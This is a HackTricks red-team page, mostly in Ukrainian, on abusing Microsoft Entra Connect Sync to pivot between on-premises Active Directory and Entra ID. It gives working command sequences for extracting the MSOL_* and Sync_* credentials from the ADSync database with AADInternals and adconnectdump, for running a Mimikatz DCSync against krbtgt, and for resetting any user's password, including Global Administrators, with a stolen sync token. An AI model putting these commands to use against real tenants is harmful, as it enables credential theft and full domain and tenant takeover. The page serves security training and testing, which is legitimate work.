Az - Connect Sync

Reading time: 10 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Базова інформація

From the docs: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) — це основний компонент Microsoft Entra Connect. Він відповідає за всі операції, пов’язані із синхронізацією даних ідентичності між вашим локальним середовищем і Microsoft Entra ID.

Служба синхронізації складається з двох компонентів: локального компонента Microsoft Entra Connect Sync та серверної сторони в Microsoft Entra ID під назвою Microsoft Entra Connect Sync service.

Щоб використовувати її, потрібно встановити агент Microsoft Entra Connect Sync на сервер у вашому AD-середовищі. Цей агент опікується синхронізацією з боку AD.

Connect Sync — це по суті «старий» спосіб Azure для синхронізації користувачів з AD в Entra ID. Новіший рекомендований спосіб — використання Entra Cloud Sync:

Az - Cloud Sync

Згенеровані principals

  • Обліковий запис MSOL_<installationID> автоматично створюється в локальному AD. Цьому обліковому запису присвоєно роль Directory Synchronization Accounts (див. documentation), що означає, що він має реплікаційні (DCSync) права в локальному AD.
  • Це означає, що будь-хто, хто скомпрометує цей обліковий запис, зможе скомпрометувати локальний домен.
  • У локальному AD створюється керований обліковий запис служби ADSyncMSA<id> без якихось спеціальних привілеїв за замовчуванням.
  • В Entra ID створюється Service Principal ConnectSyncProvisioning_ConnectSync_<id> з сертифікатом.

Синхронізація паролів

Синхронізація хешів паролів

Ця компонента також може використовуватись для синхронізації паролів з AD в Entra ID, щоб користувачі могли використовувати свої паролі AD для входу в Entra ID. Для цього потрібно дозволити синхронізацію хешів паролів в агенті Microsoft Entra Connect Sync, встановленому на сервері AD.

From the docs: Password hash synchronization — один із способів входу, який використовується для досягнення гібридної ідентичності. Azure AD Connect синхронізує хеш, від хешу, пароля користувача з локального Active Directory до хмарного екземпляра Azure AD.

По суті, усі користувачі та хеш від хешів паролів синхронізуються з локального AD в Azure AD. Однак паролі у відкритому тексті або оригінальні хеші не передаються в Azure AD.

Синхронізація хешів відбувається кожні 2 хвилини. Однак за замовчуванням закінчення строку дії пароля та закінчення строку облікового запису не синхронізуються в Azure AD. Тому користувач, у якого локально пароль закінчився (не було змінено), може продовжувати доступ до ресурсів Azure, використовуючи старий пароль.

Коли локальний користувач намагається отримати доступ до ресурсу Azure, аутентифікація відбувається в Azure AD.

note

За замовчуванням користувачі відомих привілейованих груп, наприклад Domain Admins з атрибутом adminCount рівним 1, не синхронізуються з Entra ID з міркувань безпеки. Однак інші користувачі, які є частиною привілейованих груп без цього атрибута або яким напряму призначено високі привілеї, можуть бути синхронізовані.

Password Writeback

Ця конфігурація дозволяє синхронізувати паролі з Entra ID в AD, коли користувач змінює пароль в Entra ID. Зверніть увагу, що для роботи password writeback обліковому запису MSOL_<id>, автоматично згенерованому в AD, потрібно надати додаткові привілеї, як зазначено в документації, щоб він міг змінювати паролі будь-якого користувача в AD.

Це особливо цікаво для компрометації AD з скомпрометованого Entra ID, оскільки ви зможете змінити пароль "майже" будь-якого користувача.

Domain admins та інші користувачі, що належать до деяких привілейованих груп, не реплікуються, якщо група має атрибут adminCount рівний 1. Але інші користувачі, яким напряму присвоєно високі привілеї всередині AD без належності до таких груп, можуть мати змінений пароль. Наприклад:

  • Користувачі з присвоєними напряму високими привілеями.
  • Користувачі з групи DNSAdmins.
  • Користувачі з групи Group Policy Creator Owners, які створили GPO і призначили їх OU, зможуть змінювати створені ними GPO.
  • Користувачі з групи Cert Publishers, які можуть публікувати сертифікати в Active Directory.
  • Користувачі будь-якої іншої групи з високими привілеями без атрибута adminCount рівного 1.

Pivoting AD --> Entra ID

Enumerating Connect Sync

Check for users:

bash
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()

Перевірте Connect Sync налаштування (якщо такі є):

bash
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...

Знаходження паролів

Паролі користувача MSOL_* (а також користувача Sync_*, якщо створено) зберігаються в SQL server на сервері, де встановлено Entra ID Connect. Адміни можуть витягнути паролі цих привілейованих користувачів у відкритому вигляді.\ База даних знаходиться за адресою C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

Можна витягти конфігурацію з однієї з таблиць; одна з них зашифрована:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

Зашифрована конфігурація зашифрована за допомогою DPAPI і містить паролі користувача MSOL_* в on-prem AD та пароль Sync_* в AzureAD. Тому, скомпрометувавши їх, можлива privesc до AD та до AzureAD.

You can find a full overview of how these credentials are stored and decrypted in this talk.

Зловживання MSOL_*

bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main

# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

warning

Раніші атаки скомпрометували інший пароль, щоб потім підключитися до користувача Entra ID з ім'ям Sync_* і таким чином скомпрометувати Entra ID. Проте цей користувач більше не існує.

Зловживання ConnectSyncProvisioning_ConnectSync_

Цей додаток створено без призначених ролей управління Entra ID або Azure. Проте він має такі дозволи API:

  • Microsoft Entra AD Synchronization Service
  • ADSynchronization.ReadWrite.All
  • Microsoft password reset service
  • PasswordWriteback.OffboardClient.All
  • PasswordWriteback.RefreshClient.All
  • PasswordWriteback.RegisterClientVersion.All

Зазначається, що SP цього додатка все ще може використовуватися для виконання деяких привілейованих дій через недокументований API, але PoC наразі не знайдено, наскільки відомо.
У будь-якому разі, вважаючи, що це може бути можливим, цікаво дослідити, як знайти сертифікат для входу як цей service principal і спробувати зловживати ним.

Цей blog post, опублікований незабаром після переходу від використання користувача Sync_* до цього service principal, пояснював, що сертифікат зберігався на сервері і його можна було знайти, згенерувати PoP (Proof of Possession) для нього та graph token, і з його допомогою додати новий сертифікат до service principal (оскільки service principal завжди може призначити собі нові сертифікати) і потім використовувати його для підтримки персистенції як SP.

Щоб виконати ці дії, опубліковано такі інструменти: SharpECUtils.

Згідно з this question, щоб знайти сертифікат, потрібно запустити інструмент з процесу, який вкрав токен процесу miiserver.

Зловживання Sync_* [DEPRECATED]

warning

Раніше в Entra ID створювався користувач з ім'ям Sync_* з дуже чутливими дозволами, що дозволяло виконувати привілейовані дії, такі як зміна пароля будь-якого користувача або додавання нових облікових даних до service principal. Однак з Jan2025 цей користувач більше не створюється за замовчуванням, оскільки тепер використовується Application/SP ConnectSyncProvisioning_ConnectSync_<id>. Проте він може все ще бути присутній у деяких середовищах, тому варто перевірити його.

Скомпрометувавши обліковий запис Sync_*, можна скинути пароль будь-якого користувача (включно з Global Administrators)

bash
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals  if you have a later version
Import-Module AADInternals

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

Також можливо змінити паролі лише cloud користувачів (навіть якщо це несподівано)

bash
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

Також можливо витягти пароль цього користувача.

caution

Іншим варіантом було б assign privileged permissions to a service principal, що Sync користувач має permissions виконувати, а потім access that service principal як спосіб privesc.

Seamless SSO

Можна використовувати Seamless SSO з PHS, що вразливе до інших зловживань. Перегляньте це в:

Az - Seamless SSO

Pivoting Entra ID --> AD

  • Якщо password writeback увімкнено, ви можете змінити пароль будь-якого користувача в AD, який синхронізований з Entra ID.
  • Якщо groups writeback увімкнено, ви можете додавати користувачів до привілейованих груп в Entra ID, які синхронізовані з AD.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks